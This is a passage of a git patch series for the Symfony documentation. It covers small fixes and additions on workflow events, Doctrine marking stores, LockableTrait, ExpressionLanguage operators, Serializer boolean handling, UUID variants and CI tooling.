@@ -518,11 +519,24 @@ workflow leaves a place::
         public static function getSubscribedEvents(): array
         {
             return [
-                'workflow.blog_publishing.leave' => 'onLeave',
+                LeaveEvent::getName('blog_publishing') => 'onLeave',
+                // if you prefer, you can write the event name manually like this:
+                // 'workflow.blog_publishing.leave' => 'onLeave',
             ];
         }
     }
 
+.. tip::
+
+    All built-in workflow events define the ``getName(?string $workflowName, ?string $transitionOrPlaceName)``
+    method to build the full event name without having to deal with strings.
+    You can also use this method in your custom events via the
+    :class:`Symfony\\Component\\Workflow\\Event\\EventNameTrait`.
+
+    .. versionadded:: 7.1
+
+        The ``getName()`` method was introduced in Symfony 7.1.
+
 If some listeners update the context during a transition, you can retrieve
 it via the marking::
 

From b72a109331bbc5c74998475a5cf8e184e07849d6 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Wed, 27 Mar 2024 15:04:58 +0100
Subject: [PATCH 4594/5766] Fix wrong link for https_proxy in lowercase
 explaination

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 6c666a7ad2e..be06059f452 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -530,5 +530,5 @@ help debug any issues.
 .. _`Proxy settings in Windows`: https://www.dummies.com/computers/operating-systems/windows-10/how-to-set-up-a-proxy-in-windows-10/
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
-.. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only
+.. _`is treated differently`: https://superuser.com/a/1799209
 .. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/

From 2bf7485c6a9f28f56c2972624ce44eee2f90ee3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 27 Mar 2024 16:18:23 +0100
Subject: [PATCH 4595/5766] Updated some admonition

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index be06059f452..c5608a871fb 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -266,7 +266,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. note::
+.. caution::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be

From 2f65b0027202bc18a083f9f87c851607da9a4dbd Mon Sep 17 00:00:00 2001
From: Benjamin Zaslavsky <benjamin.zaslavsky@gmail.com>
Date: Wed, 27 Mar 2024 16:30:42 +0100
Subject: [PATCH 4596/5766] [Workflow] Add type information for multiple state
 marking store

---
 workflow.rst | 38 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 422400476f0..cd2d9ebd3c5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,6 +248,44 @@ what actions are allowed on a blog post::
     // See a specific available transition for the post in the current state
     $transition = $workflow->getEnabledTransition($post, 'publish');
 
+Using a multiple state marking store
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`
+, your marking store may need to contain multiple places at the same time.
+If you are using Doctrine, the matching column definition should use the
+type ``json`` ::
+
+    // src/Entity/BlogPost.php
+    namespace App\Entity;
+
+    use Doctrine\DBAL\Types\Types;
+    use Doctrine\ORM\Mapping as ORM;
+
+    #[ORM\Entity]
+    class BlogPost
+    {
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
+        private int $id;
+
+        // Type declaration is not mandatory and
+        // matches the guessed value from Doctrine
+        #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')]
+        private array $currentPlaces;
+
+        // ...
+    }
+
+.. tip::
+
+    You should not use the type ``simple_array`` for your marking store.
+    Inside a multiple state marking store, places are store as keys with
+    a value of one, such as ``['draft' => 1]``. If the marking store contains
+    only one place, this Doctrine type will store its value only as a string,
+    resulting in the loss of the object's current place.
+
 Accessing the Workflow in a Class
 ---------------------------------
 

From dda1b38a0acb6023236bbc5fe3d17cc15df801b1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 27 Mar 2024 20:52:21 +0100
Subject: [PATCH 4597/5766] replace tab character with spaces

---
 service_container/shared.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/shared.rst b/service_container/shared.rst
index ea12de568d4..3dcad371400 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -16,7 +16,7 @@ in your service definition:
         // src/SomeNonSharedService.php
         namespace App;
 
-	    use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
 
         #[Autoconfigure(shared: false)]
         class SomeNonSharedService

From d073142085de03fc10641f5a080846e8b2d6e9ed Mon Sep 17 00:00:00 2001
From: Mickael Blondeau <mickael.blondeau59@gmail.com>
Date: Thu, 28 Mar 2024 09:47:28 +0100
Subject: [PATCH 4598/5766] Update var_exporter.rst

Remove "lazyObjectId" from LazyGhostTrait because it doesn't seem to do anything
---
 components/var_exporter.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 20213e05c06..46471dca1d9 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -210,9 +210,6 @@ initialized::
     class HashProcessor
     {
         use LazyGhostTrait;
-        // Because of how the LazyGhostTrait trait works internally, you
-        // must add this private property in your class
-        private int $lazyObjectId;
 
         // This property may require a heavy computation to have its value
         public readonly string $hash;

From 54bb5cba6af635724cf141cb8f3cef1010a4c426 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Sat, 30 Mar 2024 16:00:11 +0100
Subject: [PATCH 4599/5766] MapQueryParameter regex example correction

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 7a3e7aec0f2..436326aa700 100644
--- a/controller.rst
+++ b/controller.rst
@@ -375,7 +375,7 @@ attribute, arguments of your controller's action can be automatically fulfilled:
     // ...
 
     public function dashboard(
-        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w++$/'])] string $firstName,
+        #[MapQueryParameter(filter: \FILTER_VALIDATE_REGEXP, options: ['regexp' => '/^\w+$/'])] string $firstName,
         #[MapQueryParameter] string $lastName,
         #[MapQueryParameter(filter: \FILTER_VALIDATE_INT)] int $age,
     ): Response

From 1aab03d5113790f068f54ba224ac429fda9891d2 Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Fri, 22 Mar 2024 09:58:55 +0100
Subject: [PATCH 4600/5766] [Console] Add doc about lockableTrait

---
 console/lockable_trait.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 02f635f5788..19f30e86d96 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -43,4 +43,24 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
+The LockableTrait will use the ``SemaphoreStore`` if available and will default
+to ``FlockStore`` otherwise. You can override this behavior by setting
+a ``$lockFactory`` property with your own lock factory::
+
+    // ...
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\LockableTrait;
+    use Symfony\Component\Lock\LockFactory;
+
+    class UpdateContentsCommand extends Command
+    {
+        use LockableTrait;
+
+        public function __construct(private LockFactory $lockFactory)
+        {
+        }
+
+        // ...
+    }
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)

From b9b06084b6d809269e615ae295683c7a7575e72f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Apr 2024 08:26:03 +0200
Subject: [PATCH 4601/5766] Add the missing versionadded directive

---
 console/lockable_trait.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 19f30e86d96..0f4a4900e17 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -63,4 +63,8 @@ a ``$lockFactory`` property with your own lock factory::
         // ...
     }
 
+.. versionadded::  7.1
+
+    The ``$lockFactory`` property was introduced in Symfony 7.1.
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)

From be86770f22c5c6d802163cc6777930df45874069 Mon Sep 17 00:00:00 2001
From: Sudhakar Krishnan <featuriz@users.noreply.github.com>
Date: Thu, 28 Mar 2024 11:08:51 +0530
Subject: [PATCH 4602/5766] Update micro_kernel_trait.rst

---
 configuration/micro_kernel_trait.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 4b538f1b6e4..280255a4064 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -230,6 +230,7 @@ Now it looks like this::
 
     use App\DependencyInjection\AppExtension;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From ca016d741a7f58f31e3bbe3b141fcc94f78ea2b8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Mar 2024 15:02:17 +0100
Subject: [PATCH 4603/5766] [ExpressionLanguage] Update the docs about the
 null-coalescing operator

---
 components/expression_language.rst        | 15 +++--------
 reference/formats/expression_language.rst | 33 +++++++++++++++++++++++
 2 files changed, 36 insertions(+), 12 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index b75c3d13c34..f622326944e 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -80,19 +80,10 @@ The main class of the component is
 Null Coalescing Operator
 ........................
 
-This is the same as the PHP `null-coalescing operator`_, which combines
-the ternary operator and ``isset()``. It returns the left hand-side if it exists
-and it's not ``null``; otherwise it returns the right hand-side. Note that you
-can chain multiple coalescing operators.
-
-* ``foo ?? 'no'``
-* ``foo.baz ?? 'no'``
-* ``foo[3] ?? 'no'``
-* ``foo.baz ?? foo['baz'] ?? 'no'``
-
-.. versionadded:: 6.2
+.. note::
 
-    The null-coalescing operator was introduced in Symfony 6.2.
+    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`
+    section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions
 ...............................
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index af03b6a07d1..370dbfd6f00 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -99,6 +99,8 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
+.. _component-expression-null-safe-operator:
+
 Null-safe Operator
 ..................
 
@@ -118,6 +120,29 @@ operator)::
 
     The null safe operator was introduced in Symfony 6.1.
 
+.. _component-expression-null-coalescing-operator:
+
+Null-Coalescing Operator
+........................
+
+It returns the left-hand side if it exists and it's not ``null``; otherwise it
+returns the right-hand side. Expressions can chain multiple coalescing operators:
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
+.. note::
+
+    The main difference with the `null-coalescing operator in PHP`_ is that
+    ExpressionLanguage will throw an exception when trying to access a
+    non-existent variable.
+
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 .. _component-expression-functions:
 
 Working with Functions
@@ -391,6 +416,12 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Other Operators
+~~~~~~~~~~~~~~~
+
+* ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`)
+* ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`)
+
 Built-in Objects and Variables
 ------------------------------
 
@@ -401,3 +432,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator in PHP`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From faf261594c7a43b6e4cf81594c79f375e9821594 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Apr 2024 11:23:24 +0200
Subject: [PATCH 4604/5766] [Configuration] Clarify `variables_order`

---
 configuration.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 88f12876594..abd7dba9d96 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -874,9 +874,10 @@ the right situation:
   but the overrides only apply to one environment.
 
 *Real* environment variables always win over env vars created by any of the
-``.env`` files. This behavior depends on
-`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to
-contain an ``E`` to expose the ``$_ENV`` superglobal.
+``.env`` files. Note that this behavior depends on the
+`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_
+configuration, which must contain an ``E`` to expose the ``$_ENV`` superglobal.
+This is the default configuration in PHP.
 
 The ``.env`` and ``.env.<environment>`` files should be committed to the
 repository because they are the same for all developers and machines. However,

From dc57552a4f14eb3d87806b23140f1a10ea1e3f3d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 28 Mar 2024 10:43:54 +0100
Subject: [PATCH 4605/5766] [Serializer] Mention
 `AbstractNormalizer::FILTER_BOOL`

---
 components/serializer.rst | 37 +++++++++++++++++++++++++++++++++++--
 1 file changed, 35 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3bda0b0cf4f..a28464ffc04 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -700,8 +700,13 @@ deserializing objects::
     $serialized = $serializer->serialize(new Person('Kévin'), 'json');
     // {"customer_name": "Kévin"}
 
-Serializing Boolean Attributes
-------------------------------
+.. _serializing-boolean-attributes:
+
+Handling Boolean Attributes And Values
+--------------------------------------
+
+During Serialization
+~~~~~~~~~~~~~~~~~~~~
 
 If you are using isser methods (methods prefixed by ``is``, like
 ``App\Model\Person::isSportsperson()``), the Serializer component will
@@ -710,6 +715,34 @@ automatically detect and use it to serialize related attributes.
 The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``get``,
 and ``can``.
 
+During Deserialization
+~~~~~~~~~~~~~~~~~~~~~~
+
+PHP considers many different values as true or false. For example, the
+strings ``true``, ``1``, and ``yes`` are considered true, while
+``false``, ``0``, and ``no`` are considered false.
+
+When deserializing, the Serializer component can take care of this
+automatically. This can be done by using the ``AbstractNormalizer::FILTER_BOOL``
+context option::
+
+    use Acme\Person;
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+    use Symfony\Component\Serializer\Serializer;
+
+    $normalizer = new ObjectNormalizer();
+    $serializer = new Serializer([$normalizer]);
+
+    $data = $serializer->denormalize(['sportsperson' => 'yes'], Person::class, context: [AbstractNormalizer::FILTER_BOOL => true]);
+
+This context makes the deserialization process behave like the
+:phpfunction:`filter_var` function with the ``FILTER_VALIDATE_BOOL`` flag.
+
+.. versionadded:: 7.1
+
+    The ``AbstractNormalizer::FILTER_BOOL`` context option was introduced in Symfony 7.1.
+
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
 

From 658edffc2a27aabb00070ee4c001e8d69bebc4f4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Mar 2024 13:18:04 +0100
Subject: [PATCH 4606/5766] [Uid] Expand the explanation about the different
 UUID variants

---
 components/uid.rst | 140 ++++++++++++++++++++++++++++++++-------------
 1 file changed, 100 insertions(+), 40 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 6ae9e0f504c..a2833a10d61 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -27,48 +27,108 @@ Generating UUIDs
 ~~~~~~~~~~~~~~~~
 
 Use the named constructors of the ``Uuid`` class or any of the specific classes
-to create each type of UUID::
+to create each type of UUID:
 
-    use Symfony\Component\Uid\Uuid;
+**UUID v1** (time-based)
+    Generates the UUID using a timestamp and the MAC address of your device
+    (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+    Both are obtained automatically, so you don't have to pass any constructor argument::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV1
+        $uuid = Uuid::v1();
+
+    .. tip::
+
+        It's recommended to use UUIDv7 instead of UUIDv1 because it provides
+        better entropy.
+
+**UUID v2** (DCE security)
+    Similar to UUIDv1 but with a very high likelihood of ID collision
+    (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+    It's part of the authentication mechanism of DCE (Distributed Computing Environment)
+    and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
+    This UUID variant is **not implemented** by the Uid component.
+
+**UUID v3** (name-based, MD5)
+    Generates UUIDs from names that belong, and are unique within, some given namespace
+    (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+    This variant is useful to generate deterministic UUIDs from arbitrary strings.
+    It works by populating the UUID contents with the``md5`` hash of concatenating
+    the namespace and the name::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // you can use any of the predefined namespaces...
+        $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
+        // ...or use a random namespace:
+        // $namespace = Uuid::v4();
+
+        // $name can be any arbitrary string
+        // $uuid is an instance of Symfony\Component\Uid\UuidV3
+        $uuid = Uuid::v3($namespace, $name);
+
+    These are the default namespaces defined by the standard:
+
+      * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
+      * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
+      * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
+      * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
+
+**UUID v4** (random)
+    Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+    Because of its randomness, it ensures uniqueness across distributed systems
+    without the need for a central coordinating entity. It's privacy-friendly
+    because it doesn't contain any information about where and when it was generated::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV4
+        $uuid = Uuid::v4();
+
+**UUID v5** (name-based, SHA-1)
+    It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
+    ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+    This makes it more secure and less prone to hash collisions.
+
+**UUID v6** (reordered time-based)
+    It rearranges the time-based fields of the UUIDv1 to make it lexicographically
+    sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
+    (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV6
+        $uuid = Uuid::v6();
+
+    .. tip::
+
+        It's recommended to use UUIDv7 instead of UUIDv6 because it provides
+        better entropy.
+
+**UUID v7** (UNIX timestamp)
+    Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
+    source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
+    (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+    It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
+    better entropy (and a more strict chronological order of UUID generation)::
+
+        use Symfony\Component\Uid\Uuid;
+
+        // $uuid is an instance of Symfony\Component\Uid\UuidV7
+        $uuid = Uuid::v7();
+
+**UUID v8** (custom)
+    Provides an RFC-compatible format for experimental or vendor-specific use cases
+    (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+    The only requirement is to set the variant and version bits of the UUID. The rest
+    of the UUID value is specific to each implementation and no format should be assumed::
+
+        use Symfony\Component\Uid\Uuid;
 
-    // UUID type 1 generates the UUID using the MAC address of your device and a timestamp.
-    // Both are obtained automatically, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v1(); // $uuid is an instance of Symfony\Component\Uid\UuidV1
-
-    // UUID type 4 generates a random UUID, so you don't have to pass any constructor argument.
-    $uuid = Uuid::v4(); // $uuid is an instance of Symfony\Component\Uid\UuidV4
-
-    // UUID type 3 and 5 generate a UUID hashing the given namespace and name. Type 3 uses
-    // MD5 hashes and Type 5 uses SHA-1. The namespace is another UUID (e.g. a Type 4 UUID)
-    // and the name is an arbitrary string (e.g. a product name; if it's unique).
-    $namespace = Uuid::v4();
-    $name = $product->getUniqueName();
-
-    $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
-    $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
-
-    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
-    // are available as PHP constants and as string values
-    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
-
-    // UUID type 6 is not yet part of the UUID standard. It's lexicographically sortable
-    // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
-    // It's defined in https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#name-uuid-version-6
-    $uuid = Uuid::v6(); // $uuid is an instance of Symfony\Component\Uid\UuidV6
-
-    // UUID version 7 features a time-ordered value field derived from the well known
-    // Unix Epoch timestamp source: the number of seconds since midnight 1 Jan 1970 UTC, leap seconds excluded.
-    // As well as improved entropy characteristics over versions 1 or 6.
-    $uuid = Uuid::v7();
-
-    // UUID version 8 provides an RFC-compatible format for experimental or vendor-specific use cases.
-    // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
-    // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
-    // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
-    $uuid = Uuid::v8();
+        // $uuid is an instance of Symfony\Component\Uid\UuidV8
+        $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 

From 5abfb8e3641ecf2f4965fdd12213d1a5efa5dbf9 Mon Sep 17 00:00:00 2001
From: Bram de Smidt <Bramw2003@users.noreply.github.com>
Date: Wed, 3 Apr 2024 14:36:54 +0200
Subject: [PATCH 4607/5766] fix: typo in proxy docs

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 82ea4dcffab..dcef631648f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -156,7 +156,7 @@ subpath/subfolder of the reverse proxy.
 To fix this, you need to pass the subpath/subfolder route prefix of the reverse
 proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
 normally be configured in your reverse proxy configuration. Configure
-``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+``X-Forwarded-Prefix`` as trusted header to be able to use this feature.
 
 The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
 objects, which is used to generate absolute paths and URLs in Symfony applications.

From e96680c413ec6c295b565d614adb47cd8d47cf92 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Apr 2024 16:23:38 +0200
Subject: [PATCH 4608/5766] minor

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 0fdb3fd9350..3d5bab95474 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -169,7 +169,7 @@ subpath/subfolder of the reverse proxy.
 To fix this, you need to pass the subpath/subfolder route prefix of the reverse
 proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
 normally be configured in your reverse proxy configuration. Configure
-``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+``X-Forwarded-Prefix`` as trusted header to be able to use this feature.
 
 The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
 objects, which is used to generate absolute paths and URLs in Symfony applications.

From 3887d883b8ae741f8353493d9af79a001819953f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 3 Apr 2024 22:08:14 +0200
Subject: [PATCH 4609/5766] Use Doctor RST 1.59.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6e7b6e044cb..f8b4ba96a91 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -12,6 +12,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_bash_prompt_before_composer_command: ~
+    ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_github_directive_start_with_prefix:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e93f8295b65..50524a74310 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.57.1
+                uses: docker://oskarstark/doctor-rst:1.59.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From f68defc1f4307b61fca1e756983c6a4a06e2543e Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Wed, 3 Apr 2024 22:43:01 +0200
Subject: [PATCH 4610/5766] [FrameworkBundle] Remove mention of inexistant
 `ignore_cache` option

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/framework.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a7a5684fbc..57693ff0b1d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1514,15 +1514,7 @@ The directory where routing information will be cached. Can be set to
 .. deprecated:: 7.1
 
     Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
-    are now always cached in the ``%kernel.build_dir%`` directory. If you want
-    to disable route caching, set the ``ignore_cache`` option to ``true``.
-
-ignore_cache
-............
-
-**type**: ``boolean`` **default**: ``false``
-
-When this option is set to ``true``, routing information will not be cached.
+    are now always cached in the ``%kernel.build_dir%`` directory.
 
 secrets
 ~~~~~~~

From 4e82adba79c82e9b65bb7b86e21b19bc3075f18b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Wed, 3 Apr 2024 19:23:02 -0400
Subject: [PATCH 4611/5766] Discourage append config on prepend extension
 method

---
 bundles/prepend_extension.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fcad249124e..afde2595e98 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -158,7 +158,7 @@ Prepending Extension in the Bundle Class
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
-You can also append or prepend extension configuration directly in your
+You can also prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
 method::
@@ -175,14 +175,6 @@ method::
             $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
-
-            // append
